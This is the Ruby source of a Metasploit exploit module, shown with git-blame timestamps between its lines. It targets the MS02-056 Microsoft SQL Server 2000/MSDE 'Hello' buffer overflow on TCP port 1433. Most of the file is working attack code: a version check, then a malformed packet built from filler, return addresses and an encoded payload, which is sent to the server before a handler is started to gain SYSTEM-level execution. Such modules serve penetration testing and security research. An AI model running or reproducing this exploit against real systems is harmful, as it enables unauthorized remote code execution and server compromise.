2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 11:16:36 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2005-11-26 11:16:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MSSQL
|
2005-11-26 11:16:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-29 01:56:53 +00:00
|
|
|
'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
By sending malformed data to TCP port 1433, an
|
|
|
|
unauthenticated remote attacker could overflow a buffer and
|
|
|
|
possibly execute code on the server with SYSTEM level
|
|
|
|
privileges. This module should work against any vulnerable
|
|
|
|
SQL Server 2000 or MSDE install (< SP3).
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2002-1123'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '10132'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '5411'],
|
|
|
|
[ 'MSB', 'MS02-056'],
|
2005-11-26 11:16:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'MSSQL 2000 / MSDE <= SP2',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [0x42b68aba, 0x42d01e50],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'DisclosureDate' => 'Aug 5 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
info = mssql_ping
|
|
|
|
if (info['ServerName'])
|
|
|
|
print_status("SQL Server Information:")
|
|
|
|
info.each_pair { |k,v|
|
|
|
|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
|
|
|
|
}
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2005-11-26 11:16:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
|
|
|
|
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
|
|
|
|
"\x10\x00\x00\x00" +
|
|
|
|
rand_text_english(528, payload_badchars) +
|
|
|
|
"\x1B\xA5\xEE\x34" +
|
|
|
|
rand_text_english(4, payload_badchars) +
|
|
|
|
[ target['Rets'][0] ].pack('V') +
|
|
|
|
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
|
|
|
|
'3333' +
|
|
|
|
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
|
|
|
|
rand_text_english(88, payload_badchars) +
|
|
|
|
payload.encoded +
|
|
|
|
"\x00\x24\x01\x00\x00"
|
2009-12-30 00:48:16 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sock.put(buf)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|